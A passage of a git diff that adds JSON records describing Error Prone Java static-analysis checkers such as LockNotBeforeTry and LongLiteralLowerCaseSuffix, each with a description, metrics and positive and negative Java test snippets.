javax.annotation.processing.Generated;\n\n @Generated(\"com.google.auto.value.processor.AutoValueProcessor\")\n class $AutoValue_TestData extends TestData {}\n \n\n import android.os.Parcel;\n import android.os.Parcelable;\n import com.google.errorprone.bugpatterns.proto.ProtoTest.TestEnum;\n import javax.annotation.processing.Generated;\n\n @Generated(\"com.ryanharter.auto.value.parcel.AutoValueParcelExtension\")\n class AutoValue_TestData extends $AutoValue_TestData {\n AutoValue_TestData(ProtoLiteEnum protoLiteEnum) {}\n\n public static final Parcelable.Creator CREATOR =\n new Parcelable.Creator() {\n @Override\n public AutoValue_TestData createFromParcel(Parcel in) {\n return new AutoValue_TestData(ProtoLiteEnum.valueOf(\"FOO\"));\n }\n\n @Override\n public AutoValue_TestData[] newArray(int size) {\n return null;\n }\n };\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/LiteProtoToString.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/LiteProtoToString.json new file mode 100644 index 0000000..cea39e9 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/LiteProtoToString.json @@ -0,0 +1,78 @@ +{ + "name": "LiteProtoToString", + "language": "java", + "description": "toString() on lite protos will not generate a useful representation of the proto from optimized builds. Consider whether using some subset of fields instead would provide useful information.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 106, + "branches": 7, + "apis": 2, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 34 + ], + "code": "import com.google.protobuf.GeneratedMessageLite;\n\n class Test {\n private String test(GeneratedMessageLite message) {\n // BUG: Diagnostic contains:\n return message.toString();\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 52 + ], + "code": "import com.google.protobuf.GeneratedMessageLite;\n\n class Test {\n private void test(GeneratedMessageLite message) {\n atVerbose(message.toString());\n }\n\n public void atVerbose(String s) {}\n }" + }, + { + "description": "unknownFieldSet_noMatch", + "expected-problems": null, + "expected-linenumbers": [ + 71 + ], + "code": "import com.google.protobuf.UnknownFieldSet;\n\n class Test {\n private String test(UnknownFieldSet message) {\n return message.toString();\n }\n }" + }, + { + "description": "enums", + "expected-problems": null, + "expected-linenumbers": [ + 88 + ], + "code": "import com.google.protobuf.Internal.EnumLite;\n import com.google.protobuf.ProtocolMessageEnum;\n\n class Test {\n private String test(EnumLite e) {\n // BUG: Diagnostic contains:\n return e.toString();\n }\n\n private String testImplicit(EnumLite e) {\n // BUG: Diagnostic contains:\n return \"\" + e;\n }\n\n private String test2(ProtocolMessageEnum e) {\n return e.toString();\n }\n\n private String test3(ProtocolMessageEnum e) {\n return e.getValueDescriptor().toString();\n }\n }" + }, + { + "description": "nestedLogStatement", + "expected-problems": null, + "expected-linenumbers": [ + 120 + ], + "code": "import com.google.protobuf.GeneratedMessageLite;\n\n class Test {\n private void test(GeneratedMessageLite message) {\n atVerbose().log(message.toString());\n }\n\n public Test atVerbose() {\n return this;\n }\n\n public Test log(String s) {\n return this;\n }\n }" + }, + { + "description": "androidLogAtInfoOrFiner_noWarning", + "expected-problems": null, + "expected-linenumbers": [ + 145 + ], + "code": "import com.google.protobuf.GeneratedMessageLite;\n\n class Test {\n static class Log {\n static void i(String s) {}\n\n static void d(String s) {}\n\n static void v(String s) {}\n }\n\n private void test(GeneratedMessageLite message) {\n Log.i(message.toString());\n Log.d(message.toString());\n Log.v(message.toString());\n }\n }" + }, + { + "description": "androidLogAtWarning_error", + "expected-problems": null, + "expected-linenumbers": [ + 172 + ], + "code": "import com.google.protobuf.GeneratedMessageLite;\n\n class Test {\n static class Log {\n static void w(String s) {}\n }\n\n private void test(GeneratedMessageLite message) {\n // BUG: Diagnostic contains:\n Log.w(message.toString());\n }\n }" + }, + { + "description": "customFormatMethod", + "expected-problems": null, + "expected-linenumbers": [ + 194 + ], + "code": "import com.google.errorprone.annotations.FormatMethod;\n import com.google.protobuf.GeneratedMessageLite;\n\n class Test {\n private void test(GeneratedMessageLite message) {\n // BUG: Diagnostic contains:\n format(null, \"%s\", message);\n format(message, \"%s\", 1);\n }\n\n @FormatMethod\n String format(Object tag, String format, Object... args) {\n return String.format(format, args);\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/LockNotBeforeTry.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/LockNotBeforeTry.json new file mode 100644 index 0000000..c3f0545 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/LockNotBeforeTry.json @@ -0,0 +1,118 @@ +{ + "name": "LockNotBeforeTry", + "language": "java", + "description": "Calls to Lock#lock should be immediately followed by a try block which releases the lock.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 192, + "branches": 24, + "apis": 1, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 37 + ], + "code": "import java.util.concurrent.locks.ReentrantLock;\n\n class Test {\n private void test(ReentrantLock lock) {\n try {\n // BUG: Diagnostic contains:\n lock.lock();\n } finally {\n lock.unlock();\n }\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 59 + ], + "code": "import java.util.concurrent.locks.ReentrantLock;\n\n class Test {\n private void test(ReentrantLock lock) {\n lock.lock();\n try {\n System.out.println(\"hi\");\n } finally {\n lock.unlock();\n }\n }\n }" + }, + { + "description": "ignoresMultipleLocks", + "expected-problems": null, + "expected-linenumbers": [ + 81 + ], + "code": "import java.util.concurrent.locks.ReentrantLock;\n\n class Test {\n private void test(ReentrantLock lockA, ReentrantLock lockB) {\n try {\n lockA.lock();\n lockB.lock();\n System.out.println(\"hi\");\n } finally {\n lockA.unlock();\n lockB.unlock();\n }\n }\n }" + }, + { + "description": "refactorToBefore", + "expected-problems": null, + "expected-linenumbers": [ + 105 + ], + "code": "import java.util.concurrent.locks.ReentrantLock;\n\n class Test {\n private void test(ReentrantLock lock) {\n try {\n lock.lock();\n System.out.println(\"hi\");\n } finally {\n lock.unlock();\n }\n }\n }\n \n\n import java.util.concurrent.locks.ReentrantLock;\n\n class Test {\n private void test(ReentrantLock lock) {\n lock.lock();\n try {\n System.out.println(\"hi\");\n } finally {\n lock.unlock();\n }\n }\n }" + }, + { + "description": "interspersed", + "expected-problems": null, + "expected-linenumbers": [ + 143 + ], + "code": "import java.util.concurrent.locks.ReentrantLock;\n\n class Test {\n private void test(ReentrantLock lock) {\n try {\n System.out.println(\"hi\");\n // BUG: Diagnostic contains:\n lock.lock();\n System.out.println(\"bye\");\n } finally {\n lock.unlock();\n }\n }\n }" + }, + { + "description": "refactorIntermediate", + "expected-problems": null, + "expected-linenumbers": [ + 168 + ], + "code": "import java.util.concurrent.locks.ReentrantLock;\n\n class Test {\n private void test(ReentrantLock lock) {\n lock.lock();\n System.out.println(\"hi\");\n try {\n System.out.println(\"hi\");\n } finally {\n lock.unlock();\n }\n }\n }\n \n\n import java.util.concurrent.locks.ReentrantLock;\n\n class Test {\n private void test(ReentrantLock lock) {\n lock.lock();\n try {\n System.out.println(\"hi\");\n System.out.println(\"hi\");\n } finally {\n lock.unlock();\n }\n }\n }" + }, + { + "description": "refactorUnlockOutsideTry", + "expected-problems": null, + "expected-linenumbers": [ + 208 + ], + "code": "import java.util.concurrent.locks.ReentrantLock;\n\n class Test {\n private void test(ReentrantLock lock) {\n lock.lock();\n System.out.println(\"hi\");\n lock.unlock();\n }\n }\n \n\n import java.util.concurrent.locks.ReentrantLock;\n\n class Test {\n private void test(ReentrantLock lock) {\n lock.lock();\n try {\n System.out.println(\"hi\");\n } finally {\n lock.unlock();\n }\n }\n }" + }, + { + "description": "twoRegions", + "expected-problems": null, + "expected-linenumbers": [ + 243 + ], + "code": "import java.util.concurrent.locks.ReentrantLock;\n\n class Test {\n private void test(ReentrantLock lock) {\n lock.lock();\n System.out.println(\"hi\");\n lock.unlock();\n lock.lock();\n try {\n System.out.println(\"hi\");\n } finally {\n lock.unlock();\n }\n }\n }\n \n\n import java.util.concurrent.locks.ReentrantLock;\n\n class Test {\n private void test(ReentrantLock lock) {\n lock.lock();\n try {\n System.out.println(\"hi\");\n } finally {\n lock.unlock();\n }\n lock.lock();\n try {\n System.out.println(\"hi\");\n } finally {\n lock.unlock();\n }\n }\n }" + }, + { + "description": "unclosed", + "expected-problems": null, + "expected-linenumbers": [ + 290 + ], + "code": "import java.util.concurrent.locks.ReentrantLock;\n\n class Test {\n private void test(ReentrantLock lock) {\n // BUG: Diagnostic contains:\n lock.lock();\n System.out.println(\"hi\");\n lock.lock();\n try {\n System.out.println(\"hi\");\n } finally {\n lock.unlock();\n }\n }\n }" + }, + { + "description": "receiverless", + "expected-problems": null, + "expected-linenumbers": [ + 316 + ], + "code": "abstract class Test implements java.util.concurrent.locks.Lock {\n private void test() {\n lock();\n try {\n } finally {\n unlock();\n }\n }\n }" + }, + { + "description": "receiverless2", + "expected-problems": null, + "expected-linenumbers": [ + 335 + ], + "code": "import java.util.concurrent.locks.Lock;\n\n abstract class Test implements Lock {\n private void test(Lock l) {\n lock();\n l.lock();\n try {\n } finally {\n unlock();\n l.unlock();\n }\n }\n }" + }, + { + "description": "nonInvocationExpression", + "expected-problems": null, + "expected-linenumbers": [ + 358 + ], + "code": "import java.util.concurrent.locks.ReentrantLock;\n\n abstract class Test {\n private void test(ReentrantLock lock) {\n String s;\n // BUG: Diagnostic contains:\n lock.lock();\n s = lock.toString();\n lock.unlock();\n }\n }" + }, + { + "description": "nullCheck", + "expected-problems": null, + "expected-linenumbers": [ + 379 + ], + "code": "import static java.util.Objects.requireNonNull;\n import java.util.concurrent.locks.ReentrantLock;\n\n class Test {\n private void test(ReentrantLock lock, Runnable r) {\n lock.lock();\n requireNonNull(r);\n try {\n r.run();\n } finally {\n lock.unlock();\n }\n }\n }\n \n\n import static java.util.Objects.requireNonNull;\n import java.util.concurrent.locks.ReentrantLock;\n\n class Test {\n private void test(ReentrantLock lock, Runnable r) {\n lock.lock();\n try {\n requireNonNull(r);\n r.run();\n } finally {\n lock.unlock();\n }\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/LockOnBoxedPrimitive.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/LockOnBoxedPrimitive.json new file mode 100644 index 0000000..6800703 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/LockOnBoxedPrimitive.json @@ -0,0 +1,70 @@ +{ + "name": "LockOnBoxedPrimitive", + "language": "java", + "description": "It is dangerous to use a boxed primitive as a lock as it can unintentionally lead to sharing a lock with another piece of code.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 122, + "branches": 8, + "apis": 3, + "test": [ + { + "description": "detectsSynchronizedBoxedLocks", + "expected-problems": null, + "expected-linenumbers": [ + 32 + ], + "code": "" + }, + { + "description": "ignoresSynchronizedObjectLock", + "expected-problems": null, + "expected-linenumbers": [ + 60 + ], + "code": "class Test {\n private Object okLock;\n\n private void test() {\n synchronized (okLock) {\n }\n }\n }" + }, + { + "description": "ignoresSynchronizedObjectLock_initialized", + "expected-problems": null, + "expected-linenumbers": [ + 78 + ], + "code": "class Test {\n private final Object okLock = Test.class;\n\n private void test() {\n synchronized (okLock) {\n }\n }\n }" + }, + { + "description": "detectsMonitorMethodBoxedLock", + "expected-problems": null, + "expected-linenumbers": [ + 96 + ], + "code": "" + }, + { + "description": "ignoresMonitorMethodObjectLock", + "expected-problems": null, + "expected-linenumbers": [ + 124 + ], + "code": "class Test {\n private Object okLock;\n\n private void test() throws InterruptedException {\n okLock.wait();\n okLock.wait(1);\n okLock.wait(1, 2);\n okLock.notify();\n okLock.notifyAll();\n }\n }" + }, + { + "description": "ignoresMonitorMethodObjectLock_initialized", + "expected-problems": null, + "expected-linenumbers": [ + 145 + ], + "code": "class Test {\n private final Object okLock = new Object();\n\n private void test() throws InterruptedException {\n okLock.wait();\n okLock.wait(1);\n okLock.wait(1, 2);\n okLock.notify();\n okLock.notifyAll();\n }\n }" + }, + { + "description": "refactoring", + "expected-problems": null, + "expected-linenumbers": [ + 193 + ], + "code": "class Test {\n private Boolean myBoolean;\n\n void test(boolean value) {\n synchronized (myBoolean) {\n myBoolean = value;\n }\n }\n }\n \n\n import com.google.errorprone.annotations.concurrent.GuardedBy;\n\n class Test {\n private final Object myBooleanLock = new Object();\n\n @GuardedBy(\"myBooleanLock\")\n private boolean myBoolean;\n\n void test(boolean value) {\n synchronized (myBooleanLock) {\n myBoolean = value;\n }\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/LockOnNonEnclosingClassLiteral.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/LockOnNonEnclosingClassLiteral.json new file mode 100644 index 0000000..3bd0b47 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/LockOnNonEnclosingClassLiteral.json @@ -0,0 +1,30 @@ +{ + "name": "LockOnNonEnclosingClassLiteral", + "language": "java", + "description": "Lock on the class other than the enclosing class of the code block can unintentionally prevent the locked class being used properly.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 57, + "branches": 2, + "apis": 1, + "test": [ + { + "description": "lockOnNonEnclosingClassLiteralPositiveCases", + "expected-problems": null, + "expected-linenumbers": [ + 30 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\npublic class LockOnNonEnclosingClassLiteralPositiveCases {\n\n static {\n // BUG: Diagnostic contains: Lock on the class other than the enclosing class of the code block\n // can unintentionally prevent the locked class being used properly.\n synchronized (String.class) {\n }\n }\n\n private void methodContainsSynchronizedBlock() {\n // BUG: Diagnostic contains: Lock on the class other than the enclosing class of the code block\n // can unintentionally prevent the locked class being used properly.\n synchronized (String.class) {\n }\n }\n\n class SubClass {\n\n public void methodContainsSynchronizedBlock() {\n // BUG: Diagnostic contains: Lock on the class other than the enclosing class of the code\n // block can unintentionally prevent the locked class being used properly.\n synchronized (LockOnNonEnclosingClassLiteralPositiveCases.class) {\n }\n }\n }\n}\\" + }, + { + "description": "lockOnNonEnclosingClassLiteralNegativeCases", + "expected-problems": null, + "expected-linenumbers": [ + 68 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n public class LockOnNonEnclosingClassLiteralNegativeCases {\n\n static {\n synchronized (LockOnNonEnclosingClassLiteralNegativeCases.class) {\n }\n }\n\n private void methodContainsSynchronizedBlock() {\n synchronized (LockOnNonEnclosingClassLiteralNegativeCases.class) {\n }\n synchronized (this) {\n }\n }\n\n class SubClass {\n\n public void methodContainsSynchronizedBlock() {\n synchronized (SubClass.class) {\n }\n }\n }\n }\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/LogicalAssignment.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/LogicalAssignment.json new file mode 100644 index 0000000..6a44acf --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/LogicalAssignment.json @@ -0,0 +1,38 @@ +{ + "name": "LogicalAssignment", + "language": "java", + "description": "Assignment where a boolean expression was expected; use == if this assignment wasn't expected or add parentheses for clarity.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 80, + "branches": 9, + "apis": 1, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 30 + ], + "code": "class Test {\n void f(boolean x) {\n if (x = true) {}\n while (x = true) {}\n for (; x = true; ) {}\n do {} while (x = true);\n }\n }\n \n\n class Test {\n void f(boolean x) {\n if ((x = true)) {}\n while ((x = true)) {}\n for (; (x = true); ) {}\n do {} while ((x = true));\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 60 + ], + "code": "class Test {\n void f(boolean x) {\n if ((x = true)) {}\n while ((x = true)) {}\n for (; (x = true); ) {}\n do {} while (x == true);\n if (x == true) {}\n while (x == true) {}\n for (; x == true; ) {}\n do {} while (x == true);\n }\n }" + }, + { + "description": "positive_equalityFix", + "expected-problems": null, + "expected-linenumbers": [ + 82 + ], + "code": "class Test {\n void f(boolean x) {\n if (x = true) {}\n if ((x = true)) {}\n }\n }\n \n\n class Test {\n void f(boolean x) {\n if (x == true) {}\n if ((x = true)) {}\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/LongDoubleConversion.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/LongDoubleConversion.json new file mode 100644 index 0000000..3cfc14a --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/LongDoubleConversion.json @@ -0,0 +1,54 @@ +{ + "name": "LongDoubleConversion", + "language": "java", + "description": "Conversion from long to double may lose precision; use an explicit cast to double if this was intentional", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 61, + "branches": 7, + "apis": 2, + "test": [ + { + "description": "losesPrecision", + "expected-problems": null, + "expected-linenumbers": [ + 35 + ], + "code": "class Test {\n void method(Long l) {}\n\n void method(double l) {}\n\n {\n // BUG: Diagnostic contains:\n method(9223372036854775806L);\n }\n }" + }, + { + "description": "doesNotActuallyLosePrecision_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 55 + ], + "code": "class Test {\n void method(Long l) {}\n\n void method(double l) {}\n\n {\n method(0L);\n }\n }" + }, + { + "description": "explicitlyCastToDouble_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 74 + ], + "code": "class Test {\n void method(double l) {}\n\n {\n method((double) 0L);\n }\n }" + }, + { + "description": "refactors_simpleArgument", + "expected-problems": null, + "expected-linenumbers": [ + 91 + ], + "code": "class Test {\n void method(Long l) {}\n\n void method(double l) {}\n\n {\n method(9223372036854775806L);\n }\n }\n \n\n class Test {\n void method(Long l) {}\n\n void method(double l) {}\n\n {\n method((double) 9223372036854775806L);\n }\n }" + }, + { + "description": "refactors_complexArgument", + "expected-problems": null, + "expected-linenumbers": [ + 123 + ], + "code": "class Test {\n void method(Long l) {}\n\n void method(double l) {}\n\n {\n method(9223372036854775805L + 1L);\n }\n }\n \n\n class Test {\n void method(Long l) {}\n\n void method(double l) {}\n\n {\n method((double) (9223372036854775805L + 1L));\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/LongFloatConversion.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/LongFloatConversion.json new file mode 100644 index 0000000..eb9f41b --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/LongFloatConversion.json @@ -0,0 +1,38 @@ +{ + "name": "LongFloatConversion", + "language": "java", + "description": "Conversion from long to float may lose precision; use an explicit cast to float if this was intentional", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 54, + "branches": 7, + "apis": 2, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "class Test {\n void f(Long l) {}\n\n void f(float l) {}\n\n {\n // BUG: Diagnostic contains:\n f(0L);\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 51 + ], + "code": "class Test {\n void f(float l) {}\n\n {\n f((float) 0L);\n }\n }" + }, + { + "description": "methodHandle", + "expected-problems": null, + "expected-linenumbers": [ + 68 + ], + "code": "import java.lang.invoke.MethodHandle;\n import java.nio.ByteBuffer;\n\n class Test {\n private static final long L = 42;\n private static final MethodHandle MH = null;\n\n long f(ByteBuffer buf) {\n try {\n return (long) MH.invoke(buf, L);\n } catch (Throwable throwable) {\n return 0;\n }\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/LongLiteralLowerCaseSuffix.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/LongLiteralLowerCaseSuffix.json new file mode 100644 index 0000000..afce220 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/LongLiteralLowerCaseSuffix.json @@ -0,0 +1,46 @@ +{ + "name": "LongLiteralLowerCaseSuffix", + "language": "java", + "description": "Prefer 'L' to 'l' for the suffix to long literals", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 80, + "branches": 12, + "apis": 3, + "test": [ + { + "description": "java7PositiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 124 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n/** Positive cases for {@link LongLiteralLowerCaseSuffix}. */\npublic class LongLiteralLowerCaseSuffixPositiveCase2 {\n\n // This constant string includes non-ASCII characters to make sure that we're not confusing\n // bytes and chars:\n @SuppressWarnings(\"unused\")\n private static final String TEST_STRING = \"Îñţérñåţîöñåļîžåţîờñ\";\n\n public void underscoredLowerCase() {\n // BUG: Diagnostic contains: value = 0_1__2L\n long value = 0_1__2l;\n }\n}\\" + }, + { + "description": "java7PositiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 124 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n/** Positive cases for {@link LongLiteralLowerCaseSuffix}. */\npublic class LongLiteralLowerCaseSuffixPositiveCase2 {\n\n // This constant string includes non-ASCII characters to make sure that we're not confusing\n // bytes and chars:\n @SuppressWarnings(\"unused\")\n private static final String TEST_STRING = \"Îñţérñåţîöñåļîžåţîờñ\";\n\n public void underscoredLowerCase() {\n // BUG: Diagnostic contains: value = 0_1__2L\n long value = 0_1__2l;\n }\n}\\" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 149 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n /**\n * Negative cases for {@link LongLiteralLowerCaseSuffix}\n *\n * @author Simon Nickerson (sjnickerson@google.com)\n */\n public class LongLiteralLowerCaseSuffixNegativeCases {\n public void positiveUpperCase() {\n long value = 123432L;\n }\n\n public void zeroUpperCase() {\n long value = 0L;\n }\n\n public void negativeUpperCase() {\n long value = -3L;\n }\n\n public void notLong() {\n String value = \"0l\";\n }\n\n public void variableEndingInEllIsNotALongLiteral() {\n long ell = 0L;\n long value = ell;\n }\n\n public void positiveNoSuffix() {\n long value = 3;\n }\n\n public void negativeNoSuffix() {\n long value = -3;\n }\n\n public void positiveHexUpperCase() {\n long value = 0x80L;\n }\n\n public void zeroHexUpperCase() {\n long value = 0x0L;\n }\n\n public void negativeHexUpperCase() {\n long value = -0x80L;\n }\n }\\" + }, + { + "description": "disableable", + "expected-problems": null, + "expected-linenumbers": [ + 208 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n/** Positive cases for {@link LongLiteralLowerCaseSuffix}. */\npublic class LongLiteralLowerCaseSuffixPositiveCase1 {\n\n // This constant string includes non-ASCII characters to make sure that we're not confusing\n // bytes and chars:\n @SuppressWarnings(\"unused\")\n private static final String TEST_STRING = \"Îñţérñåţîöñåļîžåţîờñ\";\n\n public void positiveLowerCase() {\n // BUG: Diagnostic contains: value = 123432L\n long value = 123432l;\n }\n\n public void zeroLowerCase() {\n // BUG: Diagnostic contains: value = 0L\n long value = 0l;\n }\n\n public void negativeLowerCase() {\n // BUG: Diagnostic contains: value = -123432L\n long value = -123432l;\n }\n\n public void negativeExtraSpacesLowerCase() {\n // BUG: Diagnostic contains: value = - 123432L\n long value = -123432l;\n }\n\n public void positiveHexLowerCase() {\n // BUG: Diagnostic contains: value = 0x8abcDEF0L\n long value = 0x8abcDEF0l;\n // BUG: Diagnostic contains: value = 0X80L\n value = 0X80l;\n }\n\n public void zeroHexLowerCase() {\n // BUG: Diagnostic contains: value = 0x0L\n long value = 0x0l;\n // BUG: Diagnostic contains: value = 0X0L\n value = 0X0l;\n }\n\n public void negativeHexLowerCase() {\n // BUG: Diagnostic contains: value = -0x8abcDEF0L\n long value = -0x8abcDEF0l;\n // BUG: Diagnostic contains: value = -0X80L\n value = -0X80l;\n }\n\n public void negativeHexExtraSpacesLowerCase() {\n // BUG: Diagnostic contains: value = - 0x8abcDEF0L\n long value = -0x8abcDEF0l;\n }\n\n public void positiveOctalLowerCase() {\n // BUG: Diagnostic contains: value = 06543L\n long value = 06543l;\n }\n\n public void zeroOctalLowerCase() {\n // BUG: Diagnostic contains: value = 00L\n long value = 00l;\n }\n\n public void negativeOctalLowerCase() {\n // BUG: Diagnostic contains: value = -06543L\n long value = -06543l;\n }\n\n public void negativeOctalExtraSpacesLowerCase() {\n // BUG: Diagnostic contains: value = - 06543L\n long value = -06543l;\n }\n}" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/LoopConditionChecker.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/LoopConditionChecker.json new file mode 100644 index 0000000..752e6bc --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/LoopConditionChecker.json @@ -0,0 +1,86 @@ +{ + "name": "LoopConditionChecker", + "language": "java", + "description": "Loop condition is never modified in loop body.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 169, + "branches": 14, + "apis": 5, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "class Test {\n int h9() {\n int sum = 0;\n int i, j;\n for (i = 0; i < 10; ++i) {\n // BUG: Diagnostic contains:\n for (j = 0; j < 10; ++i) {\n sum += j;\n }\n }\n return sum;\n }\n }" + }, + { + "description": "positive_noUpdate", + "expected-problems": null, + "expected-linenumbers": [ + 54 + ], + "code": "class Test {\n void f() {\n // BUG: Diagnostic contains:\n for (int i = 0; i < 10; ) {}\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 70 + ], + "code": "class Test {\n int h9() {\n int sum = 0;\n int i, j;\n for (i = 0; i < 10; ++i) {\n for (j = 0; j < 10; ++i) {\n sum += j;\n j++;\n }\n }\n return sum;\n }\n }" + }, + { + "description": "negative_forExpression", + "expected-problems": null, + "expected-linenumbers": [ + 93 + ], + "code": "class Test {\n void f() {\n for (int i = 0; i < 10; i++) {\n System.err.println(i);\n }\n }\n }" + }, + { + "description": "negative_noVariable", + "expected-problems": null, + "expected-linenumbers": [ + 110 + ], + "code": "import java.util.Iterator;\n\n class Test {\n void f(Iterable xs) {\n Iterator it = xs.iterator();\n while (it.hasNext()) {\n System.err.println(it.next());\n }\n }\n }" + }, + { + "description": "negative_noCondition", + "expected-problems": null, + "expected-linenumbers": [ + 130 + ], + "code": "class Test {\n void f() {\n for (; ; ) {}\n }\n }" + }, + { + "description": "negative_noUpdate", + "expected-problems": null, + "expected-linenumbers": [ + 145 + ], + "code": "class Test {\n void f() {\n for (int i = 0; i < 10; ) {\n i++;\n }\n }\n }" + }, + { + "description": "negative_conditionUpdate", + "expected-problems": null, + "expected-linenumbers": [ + 162 + ], + "code": "class Test {\n void f() {\n int i = 0;\n while (i++ < 10) {}\n }\n }" + }, + { + "description": "negative_field", + "expected-problems": null, + "expected-linenumbers": [ + 178 + ], + "code": "class Test {\n int i = 0;\n\n void f() {\n while (i < 10) {\n g();\n }\n }\n\n void g() {\n i++;\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/LoopOverCharArray.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/LoopOverCharArray.json new file mode 100644 index 0000000..89a1de3 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/LoopOverCharArray.json @@ -0,0 +1,22 @@ +{ + "name": "LoopOverCharArray", + "language": "java", + "description": "toCharArray allocates a new array, using charAt is more efficient", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 86, + "branches": 10, + "apis": 1, + "test": [ + { + "description": "refactor", + "expected-problems": null, + "expected-linenumbers": [ + 27 + ], + "code": "class T {\n void f(String s) {\n for (char c : s.toCharArray()) {\n System.err.print(c);\n }\n for (char i : s.toCharArray()) {\n System.err.print(i);\n }\n }\n }\n \n\n class T {\n void f(String s) {\n for (int i = 0; i < s.length(); i++) {\n char c = s.charAt(i);\n System.err.print(c);\n }\n for (char i : s.toCharArray()) {\n System.err.print(i);\n }\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/LossyPrimitiveCompare.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/LossyPrimitiveCompare.json new file mode 100644 index 0000000..55c7d18 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/LossyPrimitiveCompare.json @@ -0,0 +1,30 @@ +{ + "name": "LossyPrimitiveCompare", + "language": "java", + "description": "Using an unnecessarily-wide comparison method can lead to lossy comparison", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 75, + "branches": 10, + "apis": 1, + "test": [ + { + "description": "doubleCompare", + "expected-problems": null, + "expected-linenumbers": [ + 32 + ], + "code": "class Test {\n int[] results = {\n // BUG: Diagnostic contains: Long.compare(0L, 0L)\n Double.compare(0L, 0L),\n // BUG: Diagnostic contains: Long.compare(Long.valueOf(0L), 0L)\n Double.compare(Long.valueOf(0L), 0L),\n\n // Not lossy.\n Double.compare((byte) 0, (byte) 0),\n Double.compare((short) 0, (short) 0),\n Double.compare('0', '0'),\n Double.compare(0, 0),\n Double.compare(0.f, 0.f),\n Double.compare(0.0, 0.0),\n };\n }" + }, + { + "description": "floatCompare", + "expected-problems": null, + "expected-linenumbers": [ + 